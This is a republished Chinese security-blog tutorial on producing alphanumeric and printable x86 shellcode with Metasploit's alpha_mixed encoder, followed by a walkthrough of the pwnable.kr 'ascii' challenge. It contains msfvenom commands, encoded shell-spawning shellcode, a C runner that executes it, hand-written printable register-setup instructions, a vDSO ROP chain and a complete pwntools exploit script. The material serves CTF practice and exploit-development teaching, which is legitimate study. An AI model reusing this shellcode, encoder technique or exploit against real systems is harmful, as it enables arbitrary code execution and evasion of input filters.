Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】生成自己的Alphanumeric/Printable shellcode

$
0
0
【技术分享】生成自己的Alphanumeric/Printable shellcode

2017-04-12 09:54:26
来源:安全客 作者:WeaponX

阅读:332次
点赞(0)
收藏





【技术分享】生成自己的Alphanumeric/Printable shellcode

作者:WeaponX

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


背景

最近在看一些题目(pwnable.kr-ascii, pwnable.kr-ascii_easy, pwnable.tw-Death_Note)和漏洞(CVE-2017-7269-IIS6.0远程代码执行漏洞)的时候用到Alphanumeric/Printable shellcode。本文不阐述如何书写Alphanumeric/Printable shellcode,而是教大家如何使用Metasploit生成自己的shellcode和在特定条件下寄存器的设置。

所谓Alphanumeric是字符在[A-Za-z0-9]区间的,而Printable是字符的ascii码在0x1f和0x7f区间(不包含)的。

shellcode测试可以用以下代码测试。

/* *$gcc-m32-fno-stack-protector-zexecstackshellcode.c-oshellcode *$./shellcode */ #include<stdio.h> #include<string.h> charshellcode[]={ "\x89\xe0\xdb\xd6\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" "\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50" "\x6a\x66\x6b\x53\x68\x4f\x69\x62\x72\x73\x56\x42\x48\x46\x4d" "\x53\x53\x4b\x39\x49\x77\x51\x78\x34\x6f\x44\x33\x52\x48\x45" "\x50\x72\x48\x74\x6f\x50\x62\x33\x59\x72\x4e\x6c\x49\x38\x63" "\x70\x52\x38\x68\x55\x53\x67\x70\x35\x50\x65\x50\x74\x33\x45" "\x38\x35\x50\x50\x57\x72\x73\x6f\x79\x58\x61\x5a\x6d\x6f\x70" "\x41\x41" }; intmain() { printf("ShellcodeLength:%d\n",(int)strlen(shellcode)); printf("Shellcodeis[%s]\n",shellcode); int(*ret)()=(int(*)())shellcode; ret(); return0; }

使用metasploit生成Alphanumeric shellcode

首先查看一下metasploit中有什么编码器,其次查看能实现Alphanumeric的编码器。

root@kali~msfvenom-l FrameworkEncoders ================== NameRankDescription ------------------- ... x64/xornormalXOREncoder x86/add_submanualAdd/SubEncoder x86/alpha_mixedlowAlpha2AlphanumericMixedcaseEncoder x86/alpha_upperlowAlpha2AlphanumericUppercaseEncoder x86/unicode_mixedmanualAlpha2AlphanumericUnicodeMixedcaseEncoder x86/unicode_uppermanualAlpha2AlphanumericUnicodeUppercaseEncoder ...

可以使用的Encoders有x86/alpha_mixed与x86/alpha_upper和x86/unicode_mixed与x86/unicode_upper,不过Unicode encoder是针对类似CVE-2017-7269等宽字节进行编码的。因此在本文中我们使用到的编码器为x86/alpha_mixed。

首先,使用msfvenom来生成一段shellcode并进行编码。

root@kali~msfvenom-ax86--platformlinux-plinux/x86/execCMD="sh"-ex86/alpha_mixed-fc Found1compatibleencoders Attemptingtoencodepayloadwith1iterationsofx86/alpha_mixed x86/alpha_mixedsucceededwithsize137(iteration=0) x86/alpha_mixedchosenwithfinalsize137 Payloadsize:137bytes unsignedcharbuf[]= "\x89\xe0\xdb\xd6\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a\x4a\x4a\x4a" "\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43\x43\x37\x52\x59\x6a\x41" "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42" "\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x50" "\x6a\x66\x6b\x53\x68\x4f\x69\x62\x72\x73\x56\x42\x48\x46\x4d" "\x53\x53\x4b\x39\x49\x77\x51\x78\x34\x6f\x44\x33\x52\x48\x45" "\x50\x72\x48\x74\x6f\x50\x62\x33\x59\x72\x4e\x6c\x49\x38\x63" "\x70\x52\x38\x68\x55\x53\x67\x70\x35\x50\x65\x50\x74\x33\x45" "\x38\x35\x50\x50\x57\x72\x73\x6f\x79\x58\x61\x5a\x6d\x6f\x70" "\x41\x41";

可以发现,前几个字符\x89\xe0\xdb\xd6\xd9\x70\xf4并不是Alphanumeric或者Printable,因为此shellcode的前面数条指令是为了让这段shellcode位置无关,完成了获取shellcode地址并放入通用寄存器中的功能。

然而,我们可以根据不同程序栈中的数据来自己完成将shellcode的地址放入指定的寄存器BufferRegister中的Alphanumeric Instructions。例如,当BufferRegister为ECX寄存器时,可以通过如下命令生成Alphanumeric shellcode。

root@kali~msfvenom-ax86--platformlinux-plinux/x86/execCMD="sh"-ex86/alpha_mixedBufferRegister=ECX-fpython Found1compatibleencoders Attemptingtoencodepayloadwith1iterationsofx86/alpha_mixed x86/alpha_mixedsucceededwithsize129(iteration=0) x86/alpha_mixedchosenwithfinalsize129 Payloadsize:129bytes buf="" buf+="\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" buf+="\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41" buf+="\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" buf+="\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x71" buf+="\x7a\x56\x6b\x32\x78\x6a\x39\x71\x42\x72\x46\x42\x48" buf+="\x64\x6d\x63\x53\x6f\x79\x4a\x47\x73\x58\x34\x6f\x64" buf+="\x33\x30\x68\x33\x30\x33\x58\x44\x6f\x42\x42\x72\x49" buf+="\x30\x6e\x6f\x79\x48\x63\x76\x32\x38\x68\x67\x73\x37" buf+="\x70\x67\x70\x57\x70\x43\x43\x63\x58\x33\x30\x62\x77" buf+="\x76\x33\x6e\x69\x4d\x31\x38\x4d\x4b\x30\x41\x41" root@kali~python Python2.7.9(default,Mar12015,12:57:24) [GCC4.9.2]onlinux2 Type"help","copyright","credits"or"license"formoreinformation. >>>buf="" >>>buf+="\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" >>>buf+="\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41" >>>buf+="\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30" >>>buf+="\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x71" >>>buf+="\x7a\x56\x6b\x32\x78\x6a\x39\x71\x42\x72\x46\x42\x48" >>>buf+="\x64\x6d\x63\x53\x6f\x79\x4a\x47\x73\x58\x34\x6f\x64" >>>buf+="\x33\x30\x68\x33\x30\x33\x58\x44\x6f\x42\x42\x72\x49" >>>buf+="\x30\x6e\x6f\x79\x48\x63\x76\x32\x38\x68\x67\x73\x37" >>>buf+="\x70\x67\x70\x57\x70\x43\x43\x63\x58\x33\x30\x62\x77" >>>buf+="\x76\x33\x6e\x69\x4d\x31\x38\x4d\x4b\x30\x41\x41" >>>buf 'IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIqzVk2xj9qBrFBHdmcSoyJGsX4od30h303XDoBBrI0noyHcv28hgs7pgpWpCCcX30bwv3niM18MK0AA'

测试生成的shellcode时会发生段错误。因为执行shellcode时ECX中的值并不是shellcode的地址。

gdb-peda$p$eip $3=(void(*)())0x804a040<shellcode> gdb-peda$p$ecx $4=0x0

此时需手动将ecx的值设置为0x804a040,然后继续执行。

gdb-peda$p$ecx $4=0x0 gdb-peda$set$ecx=0x804a040 gdb-peda$c Continuing. process14672isexecutingnewprogram:/bin/dash [Newprocess14689] process14689isexecutingnewprogram:/bin/dash $ls [Newprocess14690] process14690isexecutingnewprogram:/bin/ls peda-session-ls.txtpeda-session-shellcode.txtshellcodeshellcode.c

示例

题目下载地址:

https://github.com/Qwaz/solved-hacking-problem/tree/master/pwnable.kr/ascii

使用ida载入ELF文件查看伪代码。发现程序先分配了一块内存,然后向内存中写长度为499的数据(Printable),在函数vuln中使用strcpy时未检测源字符串长度发生栈溢出。

int__cdeclmain(intargc,constchar**argv,constchar**envp) { _BYTE*ptr;//ebx@6 charv5;//[sp+4h][bp-30h]@1 intbase;//[sp+28h][bp-Ch]@1 unsignedintoffset;//[sp+2Ch][bp-8h]@4 base=mmap(0x80000000,4096,7,50,-1,0); if(base!=0x80000000) { puts("mmapfailed.telladmin"); exit(1); } printf("Inputtext:",v5); offset=0; do { if(offset>399) break; ptr=(_BYTE*)(base+offset); *ptr=getchar(); ++offset; } while(is_ascii(*ptr)); puts("triggeringbug..."); return(int)vuln(); } char*vuln() { chardest;//[sp+10h][bp-A8h]@1 returnstrcpy(&dest,(constchar*)0x80000000); }

思路:

1.生成BufferRegister为EAX的shellcode

2.构造Alphanumeric Instructions设置寄存器EAX为shellcode的地址

3.将Printable shellcode写入mmap的内存中

4.构造ROP Chain跳入0x80000000

5.执行shellcode


STEP1

使用ldd查看程序并未加载动态库可以确定本程序是静态编译的。静态编译的程序通常有大量的ROP Gadgets供我们使用,不过题目要求输入的字符为可打印字符,这就需要Gadgets的地址是Printable的。

gdb-peda$infoprocmap process15655 Mappedaddressspaces: StartAddrEndAddrSizeOffsetobjfile 0x80480000x80ed0000xa50000x0/home/user/pwn/pwnkr/ascii/ascii 0x80ed0000x80ef0000x20000xa5000/home/user/pwn/pwnkr/ascii/ascii 0x80ef0000x81130000x240000x0[heap] 0x555550000x555570000x20000x0[vvar] 0x555570000x555590000x20000x0[vdso] 0xfffdd0000xffffe0000x210000x0[stack]

可以看出代码段中的地址0x080e均是不可打印字符,所以不能在代码段中搜索Gadgets。不过可以使用ulimit -s unlimited将vDSO的基址固定来找vDSO中的Gadgets(mmap及linux地址空间随机化失效漏洞)。

使用命令dump binary memory ./vDsodump 0x55557000 0x55559000将vDSO所在的内存空间dump出来,当程序执行到ret观察栈中的数据并寻找可用的数据。

gdb-peda$stack15 0000|0xffffd63c-->0x8048fcb(<main+189>:movebx,DWORDPTR[ebp-0x4]) 0004|0xffffd640-->0x80c562e("triggeringbug...") 0008|0xffffd644-->0x1000 0012|0xffffd648-->0x7 0016|0xffffd64c-->0x32('2') 0020|0xffffd650-->0xffffffff 0024|0xffffd654-->0x0 0028|0xffffd658-->0xffffd704-->0xffffd839("/home/user/pwn/pwnkr/ascii/ascii") 0032|0xffffd65c-->0x1 0036|0xffffd660-->0x80496e0(<__libc_csu_fini>:pushebx) 0040|0xffffd664-->0x0 0044|0xffffd668-->0x80000000-->0xa31('1\n') 0048|0xffffd66c-->0x2 0052|0xffffd670-->0x0 0056|0xffffd674-->0x0

明显看出pop3_ret + pop3_ret + pop2_ret可以让程序跳入0x80000000执行shellcode。然后使用rp++在dump出的vDSO内存空间中搜索ROP Gadgets。在offset中寻找Printable的Gadgets发现有pop3_ret(0x00000751)和pop2_ret(0x00000752),这样就可以构造出跳入0x80000000的ROP Chain。


STEP2

使用metasploit生成BufferRegister为EAX的shellcode,现在需要编写Printable Instructions将EAX设置为shellcode起始的地址。opcode为Alphanumeric的指令如下表所示


【技术分享】生成自己的Alphanumeric/Printable shellcode

r(register)代表寄存器,r8代表8位寄存器例如al\ah等

m(memory)代表内存

imm(immediate value)代表立即数

rel(relative address)代表相对地址

r/m(register or memory)代表内存或寄存器,可参考ModR/M与SIB编码

在程序跳入shellcode中(0x80000000)时,各个寄存器的值如下。

gdb-peda$infor eax0xffffd5900xffffd590 ecx0x800000d00x800000d0 edx0xffffd6600xffffd660 ebx0x800000d70x800000d7 esp0xffffd66c0xffffd66c ebp0xa6161610xa616161 esi0x414141410x41414141 edi0x414141410x41414141 eip0x800000000x80000000

可以使用XOR AL, imm8清除EAX的低7bit,再用过DEC EAX/AX完成EAX的高位退位,多次重复后可以得到需要的地址(本实例仅需重复一次)。

#Alphanumeric pushecx//Q popeax//X=>eax=0x800000d0 xoral,0x50//4P=>eax=0x80000080 pusheax//P popecx//Y dececx//I=>ecx=0x8000007f pushecx//Q popeax//X xoral,0x74//4t=>eax=0x8000000b=>shellcodebegin=0x80000000+len(QX4PPYIQX4t)

得到的指令序列为QX4PPYIQX4t。但题目中并不要求Alphanumeric而是要求Printable,所以可以使用sub完成寄存器数据的修改。

>>>asm("subeax,0x41") '\x83\xe8A' >>>asm("subebx,0x41") '\x83\xebA' >>>asm("subecx,0x41") '\x83\xe9A' >>>asm("subedx,0x41") '\x83\xeaA' >>>asm("subal,0x41") ',A' >>>asm("subbl,0x41") '\x80\xebA' >>>asm("subcl,0x41") '\x80\xe9A' >>>asm("subdl,0x41") '\x80\xeaA'

能大段修改的寄存器只有EAX且范围为0x20-0x7e,可以分两步修改。最终使用的Shellcode头部为

#Printable pushebx//S popeax//X=>0x800000d7 subal,0x7e//,~=>0x80000059 subal,0x53//,S=>0x80000006=>shellcodebegin=0x80000000+len(SX,~,S)

和shellcode拼接起来就获得了最终的exploit

frompwnimport* pop3_ret=0x00000751#:popebx;popesi;popebp;ret;(1found) pop2_ret=0x00000752#:popesi;popebp;ret;(1found) #0x1f<c<0x7f vdso_base=0x55557000 offset=172 #payload="SX,~,S"#pushebx;popeax;subal,0x7e;subal,0x53 payload="QX4PPYIQX4t" payload+="PYIIIIIIIIIIQZVTX30VX4AP0A3HH0" payload+="A00ABAABTAAQ2AB2BB0BBXP8ACJJIS" payload+="ZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS" payload+="0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE" payload+="22I2NFOSCRHEP0WQCK9KQ8MK0AA" payload=payload.ljust(offset,"\x41") #ROPCHAIN payload+=p32(vdso_base+pop3_ret) payload+=p32(0x41414141) payload+=p32(0x41414141) payload+=p32(0x41414141) payload+=p32(vdso_base+pop3_ret) payload+=p32(0x41414141) payload+=p32(0x41414141) payload+=p32(0x41414141) payload+=p32(vdso_base+pop2_ret) payload+=p32(0x41414141) payload+="aaa" io=process("./ascii") io.sendline(payload) io.interactive()

Refer

https://www.offensive-security.com/metasploit-unleashed/alphanumeric-shellcode/

http://note.heron.me/2014/11/alphanumeric-shellcode-of-execbinsh.html

https://nets.ec/Alphanumeric_shellcode

https://nets.ec/Ascii_shellcode

http://www.vividmachines.com/shellcode/shellcode.html#ps

http://inaz2.hatenablog.com/entry/2014/07/11/004655

http://inaz2.hatenablog.com/entry/2014/07/12/000007

http://inaz2.hatenablog.com/entry/2014/07/13/025626

http://blog.sina.com.cn/s/blog_67b113a101011fl9.html

http://www.c-jump.com/CIS77/CPU/x86/X77_0080_mod_reg_r_m_byte_reg.htm


【技术分享】生成自己的Alphanumeric/Printable shellcode
【技术分享】生成自己的Alphanumeric/Printable shellcode
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3720.html

Viewing all articles
Browse latest Browse all 12749

Trending Articles